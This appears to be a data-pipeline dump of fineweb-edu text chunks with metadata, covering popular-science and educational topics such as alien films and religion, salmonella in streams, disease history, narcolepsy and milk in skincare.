"filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.158429"} {"text": "again. the parallels to the christian story were hard to ignore and the similarity did not sit well with hollywood \u2019 s censorship board \u2014 the production code administration ( pca ). the head of the pca, joseph breen, particularly objected to the fact that the messiah figure klaatu was brought back from the dead through the use of alien science and technology. to avoid offending religiously minded audiences, the filmmakers added dialogue in which klaatu answers a question of whether his robot gort \u201c has the power of life and death \u201d by claiming : \u201c no, that power is reserved to the almighty spirit. \u201d the pca was founded in 1934 to address religious concerns about morality in cinema and the organization had strong ties to the catholic church. so, it was particularly sensitive to overt depictions of religion including the juxtaposition of science and religion in films involving alien visitors. a case in point was the 1953 film version of h. g. wells \u2019 novel war of the worlds about technologically advanced alien invaders. in wells \u2019 novel, religion was depicted as the last refuge of the desperate. breen was concerned that the depiction of clergy in the film adaptation would be equally negative. to underscore the pca \u2019 s desire for positive depictions of religious figures, breen reminded paramount pictures several times that \u201c with regard to the portrayal of reverend collins, it will be necessary for you to obtain adequate technical advice. \u201d they ultimately screened the film for a theologian to \u201c certify the religious angles. \u201d given that the film version privileges religion over science it is not surprising that the pca \u2019 s theologian approved of the film \u2019 s religious depictions. although the aliens in 1950s films tried to influence human civilization, they were not directly influencing human evolutionary advancement as occurred in stanley kubrick \u2019 s 1968 film 2001 : a space odyssey. the film \u2019 s scriptwriter arthur c. clarke had previously played around with the notion of aliens impacting future human evolution in his novels, but 2001 was the first time he indicated the possibility of an alien species directing human evolution in the past. it turns out that their film struck a chord with many religious groups. the national catholic office for motion pictures even bestowed on the film its 1968 award for \u201c best film of educational value. \u201d both kubrick and clarke were bemused by the positive response the film received from religious groups. as far as they were concerned the film was about an alien species directing human evolution, not god. but for certain religious audiences, the important point of the", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4694158187704196, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.159561"} {"text": "kubrick and clarke were bemused by the positive response the film received from religious groups. as far as they were concerned the film was about an alien species directing human evolution, not god. but for certain religious audiences, the important point of the movie was the recognition that evolution is too complex a process to happen without external intervention. kubrick and clarke called it advanced alien technology, religious communities called it god. some more recent films have included the concept of alien - directed human evolution or aliens as god - like saviors. the response to these films from the christian community has been mixed. the 2000 film mission to mars, for example, has a plotline similar to prometheus with an ancient martian race seeding the galaxy, including earth, with its dna. some catholics appreciated the film \u2019 s underlying conceit for the same reasons the church had embraced 2001 previously. the film acknowledged the necessity for unearthly intervention in human evolution while leaving the larger question of ultimate creation unanswered. yet, mission to mars did upset other christians who did not take kindly to the thought of creation being displaced from god \u2019 s realm to the materialistic domain of technologically superior martians. on the other hand, another recent film featuring alien visitors, 2009 \u2019 s knowing, was warmly received by protestant and catholic commentators who supported the film \u2019 s message of benevolent extraterrestrials rekindling a scientist \u2019 s religious faith while offering salvation to a doomed planet. in this case, the rapture involves spaceships rather than spiritual transcendence, but the film \u2019 s message about the need for belief resonated with many christian reviewers. so what does this mean for prometheus? reviews so far suggest that while some christians are pleased with the scientist heroine \u2019 s faith in the film, most are more disturbed by the ancient alien creators. one christian reviewer sees the film not just as biblically problematic, but morally dangerous because in his view it \u201c helps to prepare the world for a satanic deception. \u201d despite the earlier award for the similarly themed 2001 and the acceptance of a similar plot in mission to mars, the official catholic review of prometheus from the catholic news service finds that the alien - directed human evolution plotline \u201c renders prometheus extremely problematic for viewers of faith. \u201d do these responses indicate a trend? it is still too early to tell, but ( spoiler alert ) given that the film ultimately ends with the creator species trying to wipe out humanity, these negative reviews may well represent the primary reaction", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.474613757093004, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.161109"} {"text": "athens, ga. \u2013 a new university of georgia study suggests that health agencies investigating salmonella illnesses should consider untreated surface water as a possible source of contamination. researchers, whose results appear in the march issue of the journal applied and environmental microbiology, tested water over a one - year period in rivers and streams in a region of south georgia known for its high rate of sporadic salmonella cases. the team found salmonella in 79 percent of water samples, with the highest concentrations and the greatest diversity of strains in the summer and after rainfall. \" streams are not routinely tested for salmonella, and our finding is an indication that many more could be contaminated than people realize, \" said erin lipp, associate professor in the uga college of public health. \" we found our highest numbers in the summer months, and this is also the time when most people get sick. \" lipp, who co - authored the study with former uga graduate student bradd haley and dana cole in the georgia division of public health, said that although contaminated water used to irrigate or wash produce has been linked to several well - publicized outbreaks of salmonellosis in recent years, the environmental factors that influence salmonella levels in natural waters are not well understood. she said understanding how salmonella levels change in response to variables such as temperature and rainfall are critical to predicting \u2014 and ultimately preventing \u2014 the waterborne transmission of the bacteria. the team studied streams in the upper reaches of the suwannee river basin, which begins in south georgia and flows into central florida. the study area contains a mix of forested lands, row crops, pasturelands, wetlands and small cities. the researchers chose sampling sites near a variety of those environments but found little variation in salmonella concentrations by location. the diversity of salmonella strains, however, was highest near a farm containing cattle and a pivot irrigation system, suggesting that close proximity to livestock and agriculture increase the risk of contamination. the researchers also found a strong and direct correlation between rainfall for the two days preceding sample collection and the concentration of salmonella, suggesting that runoff contributes to the contamination. salmonella can be found in the intestinal tracts of several species of animals and in humans. the bacteria are shed in feces, but lipp said recent data suggest that they can persist and possibly grow in water if given the right conditions. her study found that the diversity and concentration of salmonella increased as temperatures increased. the highest concentrations and greatest diversity of strains were found in august, the warmest month of the year.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44923140957776964, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.193365"} {"text": "can persist and possibly grow in water if given the right conditions. her study found that the diversity and concentration of salmonella increased as temperatures increased. the highest concentrations and greatest diversity of strains were found in august, the warmest month of the year. lipp adds that her study, which was funded by the national oceanic and atmospheric administration joint program on climate variability and human health, lends support to the idea that salmonella illnesses could increase as a result of global warming. lipp notes that her study area had 58 cases of salmonella illness per 100, 000 people in 2007, the last year for which figures are available, compared to a state average of 22 cases per 100, 000 people and a national average of 15 cases per 100, 000 people. she said the exact mechanisms by which people in her study area are being exposed to environmental salmonella are unclear, but the most commonly detected strain in the studied streams was among the top ten associated with human infections in the health district. the porous nature of the soil in the study area means that surface water and groundwater are prone to mixing, especially after rainfalls, and lipp said that poorly sited wells might be a factor in many illnesses. another possibility, especially common among children, is so called incidental exposure by which people become infected with the bacteria when playing in or near contaminated waterways. \" understanding the environmental factors that contribute to salmonella illnesses can guide our efforts to educate people about how they can avoid being sickened through the proper construction and maintenance of wells, basic hygiene such as hand washing and good food safety practices, \" lipp said. \" we also have the potential to decrease the likelihood of larger outbreaks related to produce, because in many cases contaminated irrigation water, and not the produce itself, may be the cause of the outbreak. \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48875173490772333, "token_count": 364, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.196959"} {"text": "feb. 24, 2011 early in the formation of earth, some forms of the element chromium separated and disappeared deep into the planet ' s core, a new study by uc davis geologists shows. the finding, to be published online by the journal science feb. 24, will help scientists understand the early stages of planet formation, said qing - zhu yin, professor of geology at uc davis and coauthor on the paper. yin, former postdoctoral scholar frederic moynier and edwin schauble of the department and earth and space sciences at ucla used specialized equipment at uc davis to make very exact measurements of chromium isotopes in meteorites, compared to rocks from earth ' s crust, and use modern high performance computers to simulate early earth environment. they studied a class of meteorites called chondrites, which are leftovers from the formation of the solar system over four and half billion years ago. as well as adding shiny, rust - proof surfaces to metalwork, chromium adds color to emeralds and rubies. it exists as four stable ( non - radioactive ) isotopes with atomic masses of 50, 52, 53 and 54. it has been known for decades that chromium isotopes are relatively underrepresented in earth ' s mantle and crust, yin said. that could either be because they were volatile and evaporated into space, or got sucked into earth ' s deep core at some point. by making very accurate measurements of chromium isotopes in the meteorites compared to earth rocks and comparing them to theoretical predictions, the researchers were able to show for the first time that the lighter isotopes preferentially go into the core. from this the team inferred that some 65 percent of the missing chromium is most likely in earth ' s core. furthermore, the separation must have happened early in the planet building process, probably in the multiple smaller bodies that assembled into earth or when earth was still molten but smaller than today. moynier is now assistant professor at the department of earth and planetary sciences and mcdonnell center for the space sciences, washington university in st louis. the work was funded by grants from nasa and the national science foundation. other social bookmarking and sharing tools : note : materials may be edited for content and length. for further information, please contact the source cited above. - frederic moynier, qing - zhu yin and edwin schauble. isotopic evidence of cr partitioning into earth \u2019 s core. science, 24 february 2011", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.49917388939368956, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.211180"} {"text": "diseases and epidemics selection of gold and silver pomanders, europe the black death ' the ideal way to get rid of any infectious disease would be to shoot instantly every person who comes down with it. ' h l mencken humanity and disease share a long and eventful history. as we emerged and evolved, so did the diseases that blight our lives. diseases exist in the fossil record, but our ancestors were actually less exposed to them. this changed around 10, 000 years ago when they began living in more settled agriculturally based communities. animals were a major part of this revolution. but settlement brought disease and epidemics. close contact, often in overcrowded and unsanitary conditions, allowed some animal diseases to jump species and become deadly human infections. what did early people think about disease? like their prehistoric ancestors, most ancient egyptians blamed evil spirits or angry gods. some egyptian doctors had other ideas. they blamed blocked channels within the body, a theory that has echoes in other medical traditions, particularly traditional chinese medicine. in ancient greece hippocrates proposed a theory about the body which centred on humours, a notion which has parallels elsewhere, most obviously in ayurvedic medicine. this greek medical philosophy eventually took root among greece \u2019 s conquerors in rome, from where the writings of galen resonated across much of the world and remained influential for hundreds of years. the decline of the roman empire and rise of the islamic empire as the east roman empire declined, an islamic empire expanded westwards. muslim scholars collected, translated and supplemented classical greek works as well as texts from india and northern africa. to this body of learning they added their own innovative work, with physicians al - razi and ibn sina among the most prolific and influential scholars of this period. these texts were archived at the house of wisdom in baghdad and other centres of study. emerging from the early medieval period, europe remained ignorant of much of this knowledge. galen and the spread of disease galen coined the word \u2018 plague \u2019 to describe a quickly spreading fatal disease. he had lived through the antonine plague - one of the great epidemics of the ancient world. the black death that devastated europe in the 1340s was just that and more, the most deadly pandemic in recorded history. as a recovering europe enjoyed the cultural renaissance of the following century, the ancient texts were rediscovered and newer texts from the islamic world became accessible. but the older texts were not simply revered, they were also questioned. new empires and epidemics despite more research into", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44504182147032423, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.235450"} {"text": "a recovering europe enjoyed the cultural renaissance of the following century, the ancient texts were rediscovered and newer texts from the islamic world became accessible. but the older texts were not simply revered, they were also questioned. new empires and epidemics despite more research into the nature of disease, little could be done in the face of frequent and deadly epidemics. new empires grew in this time of exploration and discovery. but armies, colonisers and traders all imported and exported disease. as citizens of a growing trading nation, thousands of british people succumbed to smallpox, sweating sickness and bubonic plague - all epidemic in the 1500s and 1600s. old supernatural beliefs remained embedded, with thousands presenting themselves to charles ii believing only his touch could cure them of ' king ' s evil '. conquest and colonialism but conquest and colonialism also brought exposure to new medical knowledge. smallpox inoculation was successfully imported to britain and america in the early 1700s, a procedure edward jenner would subsequently improve with his safer vaccination technique. germ theory and industrialisation in the 1800s, laboratory research - notably by pasteur, koch and their pupils - significantly advanced our understanding of disease. the resulting germ theory gradually supplanted the prevailing miasma and contagion theories. ironically, proponents of miasma theory had greatly influenced public health reforms. industrialised and overcrowded, 19th - century cities were havens for diseases such as typhoid, tuberculosis and, increasingly, cholera. it was while researching a cholera outbreak in 1854 that london doctor john snow produced his ground - breaking work on disease transmission. penicillin, the poor and the protection of the state despite some improvements, infant mortality rates in britain in 1900 were actually higher than in 1800. diphtheria, measles and whooping cough all took a cruel toll on poor and ill - nourished children. fortunately, growing state intervention and the wider fruits of biomedical research reversed this trend. germ theory focused research onto the newly identified disease pathogens and the results were new vaccines and \u2018 magic bullet \u2019 antibacterial drugs which revolutionised treatment. the pinnacle of these achievements was the production of penicillin during the second world war ( 1939 - 45 ). the decline of disease in the developed world the flu pandemic of 1918 was the last occasion a killer disease swept rapidly across the world. at least 50 million people died. since that notable blip, infectious diseases have continued to decline in the developed world, although smaller epidemics have occurred. pol", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48042114415681436, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.251563"} {"text": "pandemic of 1918 was the last occasion a killer disease swept rapidly across the world. at least 50 million people died. since that notable blip, infectious diseases have continued to decline in the developed world, although smaller epidemics have occurred. polio notably brought a decade of post - war panic and with it the wheezing spectre of the iron lung. this machine helped patients to breath - a symbol of new life - saving technologies but also of the helplessness of many of polio \u2019 s victims. elsewhere, improvements have been slower. while smallpox has been eradicated, ancient diseases such as malaria still kill millions. and although aids causes fear and death in the west, its strongholds are mainly among the world \u2019 s poor. because of limited access to health education programmes and expensive western drugs, it is now predominantly a disease of poverty. increasingly, the resources of rich nations have concentrated on disease at a more individual level, targeting cancer, heart and circulatory diseases, respiratory and nervous diseases, the faults of genes and heredity, the diseases of affluence and, increasingly, the diseases of old age. related themes and topics there are 583 related objects. view all related objects a j bollet, plagues and poxes : the impact of human history on epidemic disease ( new york : demos, 2004 ) p bourdelais, epidemics laid low : a history of what happened in rich countries ( baltimore : johns hopkins university press, 2006 ) j n hays, epidemics and pandemics : their impacts on human history ( oxford : abc - clio, 2006 ) m b a oldstone, viruses, plagues, and history ( oxford : oxford university press, 1998 ) r porter, the greatest benefit to mankind : a medical history of humanity ( london : harper collins, 1999 ) s watts, disease and medicine in world history ( london : routledge, 2003 ) a sudden widespread occurance of an infection with high numbers of people affected. an acute contagious fever with high levels of mortality. both the ' black death ' that swept europe in the 1340s and the great plague of london in 1665 are believed to have been bubonic plague. an epidemic that occurs over a wide geographic area and affects an exceptionally high proportion of the population. smallpox is an infectious virus unique to humans. it results in a characteristic skin rash and fluid - filled blisters. after successful vaccination campaigns throughout the 1800s and 1900s, the world health organisation certified the eradication of smallpox in 1979", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4705870219271322, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.256908"} {"text": "population. smallpox is an infectious virus unique to humans. it results in a characteristic skin rash and fluid - filled blisters. after successful vaccination campaigns throughout the 1800s and 1900s, the world health organisation certified the eradication of smallpox in 1979. smallpox is the only human infectious disease to have been completely wiped out. thought to have been the cause of the black death, the bubonic plague is caused by a bacterial infection of the lymphatic system, the network of capillary vessels in the human body. the plague is most commonly transmitted via the bites of fleas. characteristic symptoms include enlarged lymph glands ( buboes ). a historic expression referring to the transmission of disease between people by means of direct contact. an acute infection of the digestive system, resulting in general weakness, high fever, rash, chills and sweating. it is transmitted through food or drinking water contaminated by the faeces or urine of patients or carriers. an infectious disease that is caused by a bacterium first identified by robert koch in 1882. the disease usually affects the lungs first, and is accompanied by a chronic cough. an acute highly contagious infection, generally affecting the throat but occasionally other mucous membranes and the skin. diphtheria has been largely eradicated due to world - wide vaccination efforts. disease caused by a virus most commonly found in children. measles is spread through airborne fluids. in roughly the last 150 years, measles has been estimated to have killed 200 million people worldwide. an acute highly infectious disease, primarily affecting infants. whooping cough gets its name from the severe hacking cough followed by intake of breath that sounds like a \u2018 whoop \u2019. a highly effective vaccine was introduced in the 1940s. the name given to the medical practice that is based on the sciences of the body, such as physiology ( the functioning of the body ). the first antibiotic drug to treat infections which is made from the mould penicillium. its discovery is attributed to alexander fleming in 1928. acquired immune deficiency syndrome ( aids ) is a disease caused by infections resulting from a weakened immune system due to the hiv virus. it leads to failure of the immune system and is usually fatal. it is spread through direct contact with bodily fluids. diseases of poverty a phrase that refers to diseases that are seen to be more common in conditions of poverty. they are often contagious and can be associated with overcrowding, malnutrition or environmental and industrial factors. three major diseases of poverty", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.532132064422703, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.258706"} {"text": "it ' s a natural : federally funded researchers at the argonne national laboratory are trying to improve the efficiency of natural gas - powered engines, spurred by anticipated consumer demand for fuel that is cheaper and greener than gasoline, and without the hassles of other alternative fuels. pictured : a natural gas - powered honda civic at the 2011 los angeles auto show. image : la wad, courtesy flickr dear earthtalk : i recently saw an article extolling the virtues of natural gas as an abundant, inexpensive and domestically produced automotive fuel. is this going to be the automotive fuel of the future and how green is it? \u2014 jason kincaide, new bedford, mass. it is difficult to say which of the growing number of fuel options will power the cars of the future. but natural gas, given its domestic abundance, low price and lesser carbon footprint, is certainly a contender, at least as far as researchers at the federally funded argonne national laboratory are concerned. some of the same engineers there who developed the batteries now used in electric cars have been tasked with improving natural gas powered engine technologies, thanks to anticipated consumer demand for vehicles powered by something cheaper and greener than gasoline but without the hassles of other alternative fuels. \u201c our conclusion is that natural gas as a transportation fuel has both adequate abundance and cost advantages that make a strong case to focus interest in the technology as a real game changer in u. s. energy security, \u201d mike duoba, an engineer at argonne \u2019 s transportation technology research and development center outside of chicago, told the talking points memo news blog. \u201c in terms of consumer ownership and use costs, the case to make a switch from current fuels to compressed natural gas ( cng ) is much more compelling than for other alternative fuels like ethanol and electricity. \u201d given this promise \u2014 in addition to a february 2012 department of energy announcement of a $ 30 million competition aimed at finding ways \u201c to harness our abundant supplies of domestic natural gas for vehicles \u201d \u2014 duoba and his colleague have been ramping up vehicle systems analysis and engine research and testing around cng as a way to wean ourselves off of foreign fuel sources. their goal is to improve the efficiency of the cng combustion process so that it can fit into a new line of engines that can run on gasoline or cng equally as well, giving consumers the flexibility of choice without any trade - offs. duoba thinks such a vehicle would have significant consumer appeal, especially in light of sluggish sales of the latest round of electric", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5413796590270261, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.451345"} {"text": "that can run on gasoline or cng equally as well, giving consumers the flexibility of choice without any trade - offs. duoba thinks such a vehicle would have significant consumer appeal, especially in light of sluggish sales of the latest round of electric vehicles from the major automakers. \u201c at least for some time, compared to plug - in vehicle batteries, cng storage offers lower weight, higher energy storage and lower costs \u2014 as well as faster refueling / recharging. \u201d and while cng vehicles would generate emissions from their tailpipes, the argonne team believes that their overall emissions footprint would be smaller than that of an electric vehicle drawing power from the fossil - fuel - based electric grid. but to duoba the appeal of cng is more about reducing america \u2019 s dependence on foreign oil sources than on saving the planet. \u201c various technologies have been successful at reducing the environmental impact ( criteria pollution ) over the decades, \u201d duoba wrote. \u201c to the extent that consumption of foreign petroleum has not been reduced to acceptable levels, this could be viewed as the principal motivation. \u201d but cng faces the same major hurdle to becoming widely accepted as any other challenger to gasoline as king of the road : a lack of refueling stations. whatever does finally unseat gasoline will no doubt have to have a system for refueling that rivals the convenience we \u2019 ve come to expect from our corner gas stations. contacts : argonne center, www. transportation. anl. gov. earthtalk\u00ae is written and edited by roddy scheer and doug moss and is a registered trademark of e - the environmental magazine ( www. emagazine. com ). send questions to : email @ example. com. subscribe : www. emagazine. com / subscribe. free trial issue : www. emagazine. com / trial.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.46923704396180344, "token_count": 375, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.452093"} {"text": "while many of these animals are elusive to see in the wild, the sight of a big cat can be a life - changing experience. see big cats on these conservation safaris - costa rica jaguar volunteer expedition - costa rica ultimate wildlife adventure - mozambique : by land and by sea - desert & delta ( namibia & botswana ) - india wildlife & birding safari - natural jewels of nepal & bhutan - tanzania : the great migration - transfrontier wildlands of africa - tigers & travels in india did you know? - a recent study hypothesizes that tigers and snow leopards are the most closely related to each other with lions, leopards, and jaguars evolving from the same ancestor. - lions are the only big cats that live in groups, called \u201c prides \u201d. - these individual species have been on earth for between 2 to 4 million - populations of these species are all considered either endangered, vulnerable, or near threatened and all of their populations are declining. learn more here. what is seethewild? we ' re a non - profit organization that promotes conservation travel through wildlife tours that help protect endangered species. we work with quality tour operators who have passed our criteria to ensure low environmental impact. we ' re part of the ocean foundation. want to see big cats? contact us!", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3982436058289516, "token_count": 262, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.473523"} {"text": "when it comes to learning sign language it might seem like a challenge but getting started is really the hardest part. many people find it easier to learn sign language than to learn another spoken language, in fact. for even easier results in learning sign language, be sure to follow these tips. there are plenty of benefits and advantages associated with knowing sign language in today \u2019 s world in addition to the personal benefits you may be learning for. learning sign language is similar to learning any new language in many ways. for one thing, how much time you spend practicing what you \u2019 re learning is the most important factor. if you only open a book every so often, or attend a class once or twice a week, it will be hard for you to retain anything. learning a new language requires practice on a daily basis, whether it \u2019 s spoken or signed. if you don \u2019 t know anyone to practice with, you may want to seek out people who know sign language. whether you know them or not, chances are there are people in your area who use it. look online or ask about deaf communities near you and attend events where sign language is used. a common reason today for many people to learn sign language is to teach it to their children. this may be the case whether your child is hearing impaired or not, as there are many advantages to teaching children new languages. babies can learn sign language before learning to speak verbally, which makes it easier to communicate them. it \u2019 s an advantage for your child as learning sign language helps the brain develop quicker and makes it easier to learn new languages later in life. you \u2019 ll find that the younger someone is, the faster they can learn any language, whether spoken or signed \u2026 and this will give you motivation to learn it quickly. sign language can be accompanied by spoken words when you talk to hearing impaired people. when deaf people speak to each other, of course, they only sign \u2026 but someone who is able to speak should, as many deaf people can also read lips. as a beginner to sign language this is especially helpful, as you are likely to make mistakes and go slowly. by speaking and signing at the same time, you will also be helping yourself learn as you practice saying the words and signing them simultaneously. using spoken language as you sign can be helpful as you begin to learn sign language. just about anybody can learn sign language if they make up their mind to do so. you can \u2019 t expect to do it perfectly right away, and when you see deaf people signing you may think", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.42295316714810216, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.485894"} {"text": "study : treating sleep disorder may thwart heart disease wednesday, dec. 5 ( healthday news ) - - people with obstructive sleep apnea have the same early cardiovascular damage as people with diabetes, a small new study finds. obstructive sleep apnea - - a common disorder marked by disrupted breathing during sleep - - increases the risk of high blood pressure, heart rhythm disorders, heart attack, stroke, sudden cardiac death and heart failure. \" there are not enough studies in the medical literature on early cardiovascular dysfunction in patients with [ obstructive sleep apnea ], when active steps can be taken to prevent progression to heart failure, \" study author dr. raluca mincu of bucharest, romania, said in a european society of cardiology news release. because obstructive sleep apnea leads to many cardiovascular disorders, the researchers compared early cardiovascular dysfunction in sleep apnea patients and patients with diabetes, which is a typical risk factor for cardiovascular disease, mincu added. the study included 20 patients with moderate to severe obstructive sleep apnea, 20 patients with treated type 2 diabetes and 20 healthy people. they underwent tests to assess the condition of their arteries. \" patients with moderate to severe [ obstructive sleep apnea ] had endothelial dysfunction and higher arterial stiffness than [ the healthy people ], and their results were similar to patients with diabetes, \" mincu said. this suggests that obstructive sleep apnea is associated with a high risk for cardiovascular disease, mincu added. endothelial dysfunction means that the inner lining of blood vessels does not function normally. the study was scheduled for presentation this week at the annual meeting of the european association of cardiovascular imaging in athens, greece. \" patients should realize that behind snoring there can be a serious cardiac pathology and they should get referred to a sleep specialist, \" mincu said. \" if they are diagnosed with obstructive sleep apnea, they are at increased risk of cardiovascular disease and need to adopt a heart - healthy lifestyle to reduce that risk. \" \" our study is a signal for cardiologists, pneumologists and general practitioners to work together to actively diagnose obstructive sleep apnea, administer the appropriate treatment ( continuous positive airway pressure - - cpap ) and assess arterial function, \" mincu concluded. \" this will help avoid progression of early cardiovascular dysfunction through to heart failure, the final stage of heart disease. \" data and conclusions presented at meetings are", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4826780090986848, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.493248"} {"text": "parotid salivary gland the parotid salivary gland is a compound, acinar, serous gland. unlike all other salivary glands, the parotid includes no mucous cells. most of this view appears packed with secretory acini. most of these are cut in random planes and look like solid lumps, made of cells having various sizes and shapes. the acinar lumen so visible only when the acinus is sliced neatly across the middle. in such a slice, the cells look like slices of pie, with the lumen in the center. individual acini are drained by small intercalated ducts. these in turn drain into striated ( or \" secretory \" ) ducts, whose cells are specialized for concentrating the secretory product. cells lining the striated duct pump water and ions across the epithelium, from the duct lumen and into interstitial fluid. apart from a couple small ducts, glandular stroma is not apparent in this image. nevertheless, whether visible or not, each acinus is surrounded by a thin envelope of capillaries and connective tissue. although not seen in this image, adipocytes are also common in the parotid gland. comments and questions : firstname. lastname @ example. org siuc / school of medicine / anatomy / david last updated : 30 january 2002 / dgk", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4156283288896844, "token_count": 287, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.495976"} {"text": "physiology sponsored by in healthy people, both sleepiness and vigilance show a relationship with core body temperature and skin temperature. when core body temperature is high during the daytime, skin temperature is low, which translates into optimal vigilance. conversely, when core body temperature is low at night time, skin temperature is high, which correlates to optimal sleep. among those suffering from narcolepsy, however, direct manipulations of their skin and core body temperatures affect their vigilance and sleepiness, according to a new study. the study, authored by rolf fronczek, of the netherlands institute for neuroscience in amsterdam, and leiden university medical center in the netherlands, focused on eight patients who were diagnosed with narcolepsy with cataplexy and suffered from excessive daytime sleepiness. the subjects ' vigilance was measured using the psychomotor vigilance task, and their sleepiness was assessed with the maintenance of wakefulness test. meanwhile, their skin temperature was mildly manipulated using a thermosuit, while their core body temperature was manipulated using hot or cold food and drinks. according to the results, patients were better able to maintain vigilance when core body temperature was increased than when it was lowered, indicating that vigilance in narcolepsy can be altered simply by altering the temperature of food and drinks. also, the ability to maintain wakefulness was better when skin temperature was lowered than when it was increased. therefore, the process of falling asleep in narcoleptic subjects was able to be influenced by gently cooling or warming their hands and feet. \" patients with narcolepsy lack a specific neurotransmitter in their brains. this neurotransmitter is responsible for the regulation of the sleep / wake rhythm. that is why narcoleptic patients fall asleep during the day, but have problems sleeping during the night, \" said fronczek. \" sleep and skin temperature are tightly related, as everybody who ever tried to go to bed with cold feet will know. earlier researchers discovered that in healthy people, the temperature of the distal skin - - hands and feet - - not only increases just before falling asleep, but also influences sleep itself. warm hands and feet thus promote sleep. our research shows that, surprisingly, the temperature of the hands and feet of people with narcolepsy is on a high level throughout the day, a level that is normally only seen in healthy people just before falling asleep. we normalized this abnormal pattern of skin temperature", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5406914788295292, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.504843"} {"text": ", surprisingly, the temperature of the hands and feet of people with narcolepsy is on a high level throughout the day, a level that is normally only seen in healthy people just before falling asleep. we normalized this abnormal pattern of skin temperature using a specially designed thermosuit that can differentially manipulate the distal en proximal skin temperature with warm or cold water. in this way, we were able to decrease daytime sleepiness and improve vigilance. this could lead to new therapeutical applications that can help to alleviate some of the symptoms of narcolepsy. \" narcolepsy is a sleep disorder that causes people to fall asleep uncontrollably during the day. it also includes features of dreaming that occur while awake. other common symptoms include sleep paralysis, hallucinations and cataplexy. about one out of every 2, 000 people is known to have narcolepsy. there does seem to be a genetic link to it. it is very rare for more than two people in the same family to have this sleep disorder. it affects the same number of men and women. the article \" manipulation of core body and skin temperature improves vigilance and maintenance of wakefulness in narcolepsy \" was published in the february 1 issue of the journal sleep. adapted from materials provided by american academy of sleep medicine. sciencedaily, february 1, 2008", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5644480892900661, "token_count": 283, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.505453"} {"text": "the beauty enhancing properties of milk have been known and documented for thousands of years. legend has it that, in ancient egypt, queen cleopatra regularly bathed in goat \u2019 s milk to retain her youthful appearance. in the 21st century, milk remains a useful beauty ingredient that delivers nutrients and enzymes to improve the appearance of tired, aging, or irritated skin. milk is produced by mammals as the primary source of nutrition for their young. as a result, milk is packed with vitamins, minerals, protein, and carbohydrate, which are essential for the growth and development of a young mammal. customers prone to breakouts, excess oil production and / or who are lactose intolerant may want to avoid using milk - based products. topical application of milk brings out the natural beauty of skin. milk contains lactic acid, an alpha hydroxy acid ( aha ) that exfoliates the skin, removing dead cells from the skin \u2019 s surface and promoting the generation of fresh skin cells. regular application of milk to the skin encourages the skin \u2019 s natural regeneration process. ahas in milk also help to reduce the depth of the fine lines and wrinkles caused by skin aging. ahas slough off the dead skin cells that cling to the skin \u2019 s surface and stimulate collagen production, which diminishes the appearance of lines and wrinkles. whole milk is an effective skin conditioner. fat molecules in whole milk nourish and hydrate the skin, leaving it soft and supple. low - fat and skim 